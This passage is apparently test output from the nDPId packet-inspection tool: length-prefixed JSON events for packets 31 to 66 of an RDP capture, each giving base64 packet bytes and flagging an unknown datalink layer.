packet","thread_id":0,"packet_id":31,"source":"rdp.pcap","alias":"nDPId-test","datalink":0,"header":33554432} +00350{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":32,"source":"rdp.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1559207465,"pkt_ts_usec":679719,"pkt_caplen":44,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":44,"pkt_l4_len":0,"pkt":"AgAAAEUAACgAAEAAQAbI0KwQArnAqAKOzQ4NPfm86PRHmscpUBAf\/lIVAAA="} +00173{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":32,"source":"rdp.pcap","alias":"nDPId-test","datalink":0,"header":33554432} +00405{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":33,"source":"rdp.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1559207465,"pkt_ts_usec":680031,"pkt_caplen":85,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":85,"pkt_l4_len":0,"pkt":"AgAAAEUAAFEAAEAAQAbIp6wQArnAqAKOzQ4NPfm86PRHmscpUBggAJ8DAAAXAwMAJOAIO32NJwtJtTUzHkvmY74KOzrC71XXMs0hRYX0jhR71MSTiQ=="} +00173{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":33,"source":"rdp.pcap","alias":"nDPId-test","datalink":0,"header":33554432} +00409{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":34,"source":"rdp.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1559207465,"pkt_ts_usec":722212,"pkt_caplen":88,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":88,"pkt_l4_len":0,"pkt":"AgAAAEUAAFRfn0AAfwYqBcCoAo6sEAK5DT3NDkeaxyn5vOkdUBj5YKWnAAAXAwMAJwAAAAAAAAAHKRHs9hWTdYzjxsS88MYrufRU2EIrJMlhdKR4W8pAzA=="} +00173{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":34,"source":"rdp.pcap","alias":"nDPId-test","datalink":0,"header":33554432} +00350{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":35,"source":"rdp.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1559207465,"pkt_ts_usec":722269,"pkt_caplen":44,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":44,"pkt_l4_len":0,"pkt":"AgAAAEUAACgAAEAAQAbI0KwQArnAqAKOzQ4NPfm86R1HmsdVUBAf\/lHAAAA="} +00173{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":35,"source":"rdp.pcap","alias":"nDPId-test","datalink":0,"header":33554432} +00405{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":36,"source":"rdp.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1559207465,"pkt_ts_usec":722561,"pkt_caplen":85,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":85,"pkt_l4_len":0,"pkt":"AgAAAEUAAFEAAEAAQAbIp6wQArnAqAKOzQ4NPfm86R1HmsdVUBggAI1hAAAXAwMAJOAIO32NJwtKrm3nlKbe0SRex2b3d4qvHpTAdUrovqP4d79rng=="} +00173{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":36,"source":"rdp.pcap","alias":"nDPId-test","datalink":0,"header":33554432} +00410{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":37,"source":"rdp.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1559207465,"pkt_ts_usec":764672,"pkt_caplen":88,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":88,"pkt_l4_len":0,"pkt":"AgAAAEUAAFRfoEAAfwYqBMCoAo6sEAK5DT3NDkeax1X5vOlGUBj5Ny++AAAXAwMAJwAAAAAAAAAIfRlnA4luMA\/3430xfWLkqVCgmVK4pHTRABh10+Ptgg=="} +00173{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":37,"source":"rdp.pcap","alias":"nDPId-test","datalink":0,"header":33554432} +00350{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":38,"source":"rdp.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1559207465,"pkt_ts_usec":764735,"pkt_caplen":44,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":44,"pkt_l4_len":0,"pkt":"AgAAAEUAACgAAEAAQAbI0KwQArnAqAKOzQ4NPfm86UZHmseBUBAf\/lFrAAA="} +00173{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":38,"source":"rdp.pcap","alias":"nDPId-test","datalink":0,"header":33554432} +00406{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":39,"source":"rdp.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1559207465,"pkt_ts_usec":765235,"pkt_caplen":85,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":85,"pkt_l4_len":0,"pkt":"AgAAAEUAAFEAAEAAQAbIp6wQArnAqAKOzQ4NPfm86UZHmseBUBggAIb\/AAAXAwMAJOAIO32NJwtLL6Rg03Sa+kdKeYSJcKGqhivObf4WN0R+otsAsQ=="} +00173{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":39,"source":"rdp.pcap","alias":"nDPId-test","datalink":0,"header":33554432} +00409{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":40,"source":"rdp.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1559207465,"pkt_ts_usec":809518,"pkt_caplen":88,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":88,"pkt_l4_len":0,"pkt":"AgAAAEUAAFRfoUAAfwYqA8CoAo6sEAK5DT3NDkeax4H5vOlvUBj5DvUDAAAXAwMAJwAAAAAAAAAJgKPjuNKG8oCpm51y59fPMCqarllOUYfnWA+h5B6dBw=="} +00173{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":40,"source":"rdp.pcap","alias":"nDPId-test","datalink":0,"header":33554432} +00350{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":41,"source":"rdp.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1559207465,"pkt_ts_usec":809572,"pkt_caplen":44,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":44,"pkt_l4_len":0,"pkt":"AgAAAEUAACgAAEAAQAbI0KwQArnAqAKOzQ4NPfm86W9HmsetUBAf\/lEWAAA="} +00173{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":41,"source":"rdp.pcap","alias":"nDPId-test","datalink":0,"header":33554432} +00405{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":42,"source":"rdp.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1559207465,"pkt_ts_usec":809843,"pkt_caplen":85,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":85,"pkt_l4_len":0,"pkt":"AgAAAEUAAFEAAEAAQAbIp6wQArnAqAKOzQ4NPfm86W9HmsetUBggAKlFAAAXAwMAJOAIO32NJwtMMMmZzCAFwAczEQkJdaEWwsU7oQ2O6lyKxFNdPQ=="} +00173{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":42,"source":"rdp.pcap","alias":"nDPId-test","datalink":0,"header":33554432} +00409{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":43,"source":"rdp.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1559207465,"pkt_ts_usec":853893,"pkt_caplen":88,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":88,"pkt_l4_len":0,"pkt":"AgAAAEUAAFRfokAAfwYqAsCoAo6sEAK5DT3NDkeax635vOmYUBj45TB+AAAXAwMAJwAAAAAAAAAKipzqHCvNdxKAgbfVEfca4EsNp8w0KjbJBRN+jJjHWQ=="} +00173{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":43,"source":"rdp.pcap","alias":"nDPId-test","datalink":0,"header":33554432} +00350{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":44,"source":"rdp.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1559207465,"pkt_ts_usec":853953,"pkt_caplen":44,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":44,"pkt_l4_len":0,"pkt":"AgAAAEUAACgAAEAAQAbI0KwQArnAqAKOzQ4NPfm86ZhHmsfZUBAf\/lDBAAA="} +00173{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":44,"source":"rdp.pcap","alias":"nDPId-test","datalink":0,"header":33554432} +00405{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":45,"source":"rdp.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1559207465,"pkt_ts_usec":854248,"pkt_caplen":85,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":85,"pkt_l4_len":0,"pkt":"AgAAAEUAAFEAAEAAQAbIp6wQArnAqAKOzQ4NPfm86ZhHmsfZUBggAIXAAAAXAwMAJOAIO32NJwtNMKhkYlKkpmO5eNLFmd5Rpcq7AuKxxdVdB4G0eg=="} +00173{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":45,"source":"rdp.pcap","alias":"nDPId-test","datalink":0,"header":33554432} +00409{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":46,"source":"rdp.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1559207465,"pkt_ts_usec":897161,"pkt_caplen":88,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":88,"pkt_l4_len":0,"pkt":"AgAAAEUAAFRfo0AAfwYqAcCoAo6sEAK5DT3NDkeax9n5vOnBUBj4vKqnAAAXAwMAJwAAAAAAAAALTWU5gCq00KIbbGQtYgmjxgRhuuMCf4S8AmgtKinIUw=="} +00173{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":46,"source":"rdp.pcap","alias":"nDPId-test","datalink":0,"header":33554432} +00350{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":47,"source":"rdp.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1559207465,"pkt_ts_usec":897223,"pkt_caplen":44,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":44,"pkt_l4_len":0,"pkt":"AgAAAEUAACgAAEAAQAbI0KwQArnAqAKOzQ4NPfm86cFHmsgFUBAf\/lBsAAA="} +00173{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":47,"source":"rdp.pcap","alias":"nDPId-test","datalink":0,"header":33554432} +00405{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":48,"source":"rdp.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1559207465,"pkt_ts_usec":897487,"pkt_caplen":85,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":85,"pkt_l4_len":0,"pkt":"AgAAAEUAAFEAAEAAQAbIp6wQArnAqAKOzQ4NPfm86cFHmsgFUBggALntAAAXAwMAJOAIO32NJwtOtaCw9IM0p76VTNoISGAB4im7odPJcHOwqFSYNw=="} +00173{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":48,"source":"rdp.pcap","alias":"nDPId-test","datalink":0,"header":33554432} +00409{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":49,"source":"rdp.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1559207465,"pkt_ts_usec":939652,"pkt_caplen":88,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":88,"pkt_l4_len":0,"pkt":"AgAAAEUAAFRfpEAAfwYqAMCoAo6sEAK5DT3NDkeayAX5vOnqUBj4kwSfAAAXAwMAJwAAAAAAAAAM3fGRxkP3+dewkZDywDiMxk2kc718ZRjGsDiOWu35GA=="} +00173{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":49,"source":"rdp.pcap","alias":"nDPId-test","datalink":0,"header":33554432} +00350{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":50,"source":"rdp.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1559207465,"pkt_ts_usec":939717,"pkt_caplen":44,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":44,"pkt_l4_len":0,"pkt":"AgAAAEUAACgAAEAAQAbI0KwQArnAqAKOzQ4NPfm86epHmsgxUBAf\/lAXAAA="} +00173{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":50,"source":"rdp.pcap","alias":"nDPId-test","datalink":0,"header":33554432} +01129{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":51,"source":"rdp.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1559207465,"pkt_ts_usec":940285,"pkt_caplen":622,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":622,"pkt_l4_len":0,"pkt":"AgAAAEUAAmoAAEAAQAbGjqwQArnAqAKOzQ4NPfm86epHmsgxUBggAGKJAAAXAwMCPeAIO32NJwtPwN3NWBDMTThM+6Uypfr4znH121KVTc+XoO8ryjnuyzAbvoa24Gy1oJ0aB37ZL+fcDENa8MBJLwtjRD32DzJbvrXzK58ZRN6krNQ+CLOrYH7wsZ3A\/0QAItaVeThP35dW2UumMyxbd8L2fVitWfskX1OC7UZHAM3XjpwUQuyUUyaJ8aOY9EwpUBwNeVR8NgTiKv+FmASotOo9OT0+op7XqyxPSZLiUAapRloRqQgI4bH64OAteQjIMhZaDw0iLjRlX909edvK0fqRdCHiizbLPd2zuU6hVk5bZ3r0ATnMllfM\/coU0NAgF8BwBWgEQqay7IGgrl2SPMyNQZrfBMvFeHPUMGsz+lW1o4Kcr1hQCT1VXcEGMX0zBFd9XbgOJyMXnfYVaDsANev5YMoo9thR2SiRrnruYTrAExnVk5g58e2yNWzH6EXqIypH+vafzQbV0ObXvRIVVX5reRccYIwbdu5MGIlXeOq7sSTVP3XaVBpbzu4k3cyEL8KWrWV5iL2MXXCXjkQadCrGn8f3mp7MdWjHC8EAcNNOILwz\/xBuOf+6Th8WJavHyLIEMVP1U9PRaFZuXUqNO77Sh6IBUwj9Uy26LaeiOIgsnEndQe\/\/opbSP7B5toAFgRBLErFyTzXR0JqE1MGJBkzVHen06n2ufbbv2MNnaLdkZf6MAF0NNrs9NFp11B41zQ+OcdZ3cUQAsJe8OQCSyfmYyAxTJ3cmpq\/Ys+JYtEsQ307JOFIvBTdASZSi1Q=="} +00173{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":51,"source":"rdp.pcap","alias":"nDPId-test","datalink":0,"header":33554432} +00436{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":52,"source":"rdp.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1559207465,"pkt_ts_usec":984690,"pkt_caplen":107,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":107,"pkt_l4_len":0,"pkt":"AgAAAEUAAGdfpUAAfwYp7MCoAo6sEAK5DT3NDkeayDH5vOwsUBj2Ubm3AAAXAwMAOgAAAAAAAAANrZiBJfwnM0xtyahHpC\/hhOiCxuwBOiPE+J88inF8AfQTXS+PfVcbq5CGG6j+Ascwuwo="} +00173{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":52,"source":"rdp.pcap","alias":"nDPId-test","datalink":0,"header":33554432} +00350{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":53,"source":"rdp.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1559207465,"pkt_ts_usec":984747,"pkt_caplen":44,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":44,"pkt_l4_len":0,"pkt":"AgAAAEUAACgAAEAAQAbI0KwQArnAqAKOzQ4NPfm87CxHmshwUBAf\/k2WAAA="} +00173{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":53,"source":"rdp.pcap","alias":"nDPId-test","datalink":0,"header":33554432} +01022{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":54,"source":"rdp.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1559207466,"pkt_ts_usec":58614,"pkt_caplen":545,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":545,"pkt_l4_len":0,"pkt":"AgAAAEUAAh1fpkAAfwYoNcCoAo6sEAK5DT3NDkeayHD5vOwsUBj2Uf\/xAAAXAwMB8AAAAAAAAAAOJA7EOu0Zg5PAAo3PcB83cJEhQyc1L4uslMQ1M1Xp8XCUTzHBSjXmqfSjX2o15DkQsVAeO996hHOKjCvMKUONTKQ4a4eJUAsjBCQVp1Oa4MKHqfqNoF1bOFHq6WJ7G4sBfHLw5u++XMRwdq\/VzSoR3SQBHAbzGRhsfWgMf7roa7EtVFyLP4nt\/XiK6VLRYHYEQHW5GbpRch+nN7Bc+qHgI001mY0VrUG2nhrcjxWrZdXXJtTHrHvnLrCW01vF4Vj0YnSDfr5c6VaZ6gDFPeiFcrRjb7PrmejmHiL4DYtJUmEEfhsLfIPFzBk0OzY70IWOpd611JY8m8bY3XZWZNiIWprL7bUsWD43TyT6SBHgnnGXSzoBSnTexWuA51FzwBrskALtxtmFmFexE+5tuVyZp3mko7bYs56tL77Q+43ZNiVRGHFpRBR4XcPXEIlVElV+X3Oi\/Zz+bmyJYrfWtyaneeq4ZxWsiMJFZndHHZxA8+5ZqRYHryCz+iPD8XA4ECxPRey19xk6l0E6Bno1YvqHkw6zSmyNMdBsIow37L12nXsAfw34RXrMrxB+xFVIRzQl2nQsnWjarOpWOoA7WkPHkgs4R67jEqQ50D2pwM+cmyoOYlDWEp9GwFzV5ZCVZcmTrdEROEvGUeE="} +00173{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":54,"source":"rdp.pcap","alias":"nDPId-test","datalink":0,"header":33554432} +00348{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":55,"source":"rdp.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1559207466,"pkt_ts_usec":58667,"pkt_caplen":44,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":44,"pkt_l4_len":0,"pkt":"AgAAAEUAACgAAEAAQAbI0KwQArnAqAKOzQ4NPfm87CxHmsplUBAf8EuvAAA="} +00173{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":55,"source":"rdp.pcap","alias":"nDPId-test","datalink":0,"header":33554432} +01129{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":56,"source":"rdp.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1559207466,"pkt_ts_usec":78737,"pkt_caplen":616,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":616,"pkt_l4_len":0,"pkt":"AgAAAEUAAmQAAEAAQAbGlKwQArnAqAKOzQ4NPfm87CxHmsplUBggAJBiAAAXAwMCN+AIO32NJwtQsrwDCinTpc7x\/lfpsTidiL+PqBjpQQSJcmRsi3as0JVOEsAXMt5j37l28cD\/6KjGL6lIKYBKGkRB4nl1SfZQgeiZv99P+XzI\/b7JKKT\/0toMMFGpo0EKhwar9xpKFVAF8AX9bEUa39FlV1065d\/s0LmfW2GsF4D86GVPsJBY39mJKLy+dcZ0yCyg5Ex+PkN0+iSKWDlYShZxL+yHcr31z4pqvEhom6RBSt1GkVSYfOLf1f+KDIx24ii13gsnYDVzkOjks+pP2bPLoPqE4yBBL6TWcTlpTk0pPSx\/5Ry9G0v7WHWV6FRZyGwEQ3E3pUAHMxRFsbvn2zkDsffN\/sqCgjieq9XXyydlAFYS4RiMhb6okJmKPn4kgNEZ5wzDN7PMMdB4YffmpyKvz9v02Jv2aXMc9ipAWFlolh1F3EmpWYYX20kEaILee9psHpa0UKXLNLXJk9oltJz\/HnEjwhEHWVLJRZ+RuWGamVF22TSmnfMvz5GC13HXQZRVme1\/hXzbkupoq0AOSc+Qcr0SjMm\/0B+Akjk5vO9CPLnFVEJZ5ibNjk6yjlLU95toKn1kZ\/JVBPnysOcYgRuWIGsBcZNidjBb2utEpjM\/pZbNqgixHydZEqfKPaWQFVE+e8pB0GzL2T41Gx1DDaWKBeduI3rwnzs7SgKo27\/+BlqPRLTUiy4MbOnpS7DCGn1l3X2BjXyJrRjbI4RWSdTJYRcXyvPOOvhiWkE\/pD88aJTjYzwq\/g=="} +00173{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":56,"source":"rdp.pcap","alias":"nDPId-test","datalink":0,"header":33554432} +00440{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":57,"source":"rdp.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1559207466,"pkt_ts_usec":81807,"pkt_caplen":109,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":109,"pkt_l4_len":0,"pkt":"AgAAAEUAAGkAAEAAQAbIj6wQArnAqAKOzQ4NPfm87mhHmsplUBggAMTnAAAXAwMAPOAIO32NJwtRO5r6T\/rMP+oU4JmkdFY0xxiTqtXXGVELGJkojIQarHSkWjGpYjgojQIeN7vaAabWHTAc\/g=="} +00173{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":57,"source":"rdp.pcap","alias":"nDPId-test","datalink":0,"header":33554432} +00442{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":58,"source":"rdp.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1559207466,"pkt_ts_usec":81979,"pkt_caplen":113,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":113,"pkt_l4_len":0,"pkt":"AgAAAEUAAG0AAEAAQAbIi6wQArnAqAKOzQ4NPfm87qlHmsplUBggAJRJAAAXAwMAQOAIO32NJwtSrtfo3wOL6TncCEk5anjLfoYfDTbiK8o2jUzIivQd0QyTwD9no9nHntVoQPifsjNZHv9+YTWJnvM="} +00173{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":58,"source":"rdp.pcap","alias":"nDPId-test","datalink":0,"header":33554432} +00443{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":59,"source":"rdp.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1559207466,"pkt_ts_usec":82062,"pkt_caplen":113,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":113,"pkt_l4_len":0,"pkt":"AgAAAEUAAG0AAEAAQAbIi6wQArnAqAKOzQ4NPfm87u5HmsplUBggAIY3AAAXAwMAQOAIO32NJwtTIHuRP3LaaIzQ+ZqWZEo4ciH6a4JfTgr3xzu83\/RZI+jOspUcbY0cFv3HRofUnLWfq+iz+ZGNymo="} +00173{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":59,"source":"rdp.pcap","alias":"nDPId-test","datalink":0,"header":33554432} +00444{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":60,"source":"rdp.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1559207466,"pkt_ts_usec":82139,"pkt_caplen":113,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":113,"pkt_l4_len":0,"pkt":"AgAAAEUAAG0AAEAAQAbIi6wQArnAqAKOzQ4NPfm87zNHmsplUBggAK\/PAAAXAwMAQOAIO32NJwtU+DFWiqhD6\/WN4915R8r5JlldFx1RLFoTCiKEgJOgTe+tWkSpXbywgPBqkbeXbo38HJgmZvYryBI="} +00173{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":60,"source":"rdp.pcap","alias":"nDPId-test","datalink":0,"header":33554432} +00349{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":61,"source":"rdp.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1559207466,"pkt_ts_usec":124843,"pkt_caplen":44,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":44,"pkt_l4_len":0,"pkt":"AgAAAEUAAChfp0AAfwYqKcCoAo6sEAK5DT3NDkeaymX5vO94UBD6AG5SAAA="} +00173{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":61,"source":"rdp.pcap","alias":"nDPId-test","datalink":0,"header":33554432} +00440{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":62,"source":"rdp.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1559207466,"pkt_ts_usec":167504,"pkt_caplen":109,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":109,"pkt_l4_len":0,"pkt":"AgAAAEUAAGlfqEAAfwYp58CoAo6sEAK5DT3NDkeaymX5vO94UBj6AGJmAAAXAwMAPAAAAAAAAAAPXGvqPPQ0+SUZZ25jodkTcZFMzcR3qtcqfG51geu95n3i\/9+LII7W6PnIO8z715aSJVIVJw=="} +00173{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":62,"source":"rdp.pcap","alias":"nDPId-test","datalink":0,"header":33554432} +00350{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":63,"source":"rdp.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1559207466,"pkt_ts_usec":167566,"pkt_caplen":44,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":44,"pkt_l4_len":0,"pkt":"AgAAAEUAACgAAEAAQAbI0KwQArnAqAKOzQ4NPfm873hHmsqmUBAf\/UgVAAA="} +00173{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":63,"source":"rdp.pcap","alias":"nDPId-test","datalink":0,"header":33554432} +00445{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":64,"source":"rdp.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1559207466,"pkt_ts_usec":167575,"pkt_caplen":113,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":113,"pkt_l4_len":0,"pkt":"AgAAAEUAAG1fqUAAfwYp4sCoAo6sEAK5DT3NDkeayqb5vO94UBj6AOfpAAAXAwMAQAAAAAAAAAAQu\/d1Uq8OgSAzMJ+R0fgJAt3hhgVhrpGvJLkpcjEkAlW7jHXIX9kG6PuUatycD9z\/YZlsG9L71rM="} +00173{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":64,"source":"rdp.pcap","alias":"nDPId-test","datalink":0,"header":33554432} +00444{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":65,"source":"rdp.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1559207466,"pkt_ts_usec":167792,"pkt_caplen":113,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":113,"pkt_l4_len":0,"pkt":"AgAAAEUAAG1fqkAAfwYp4cCoAo6sEAK5DT3NDkeayuv5vO94UBj6AOvlAAAXAwMAQAAAAAAAAAARtqbeTr378yhkm\/vJVypD2Mql0kYiG6RfeXeRwXvLVWObVQVHRcaj4L+j1wXoMpcg8WHMilgiXnU="} +00173{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":65,"source":"rdp.pcap","alias":"nDPId-test","datalink":0,"header":33554432} +00350{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":66,"source":"rdp.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1559207466,"pkt_ts_usec":167915,"pkt_caplen":44,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":44,"pkt_l4_len":0,"pkt":"AgAAAEUAACgAAEAAQAbI0KwQArnAqAKOzQ4NPfm873hHmsrrUBAf\/UfQAAA="} +00173{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":66,"source":"rdp.pcap","alias":"nDPId-test","datalink":0,"header":33554432} 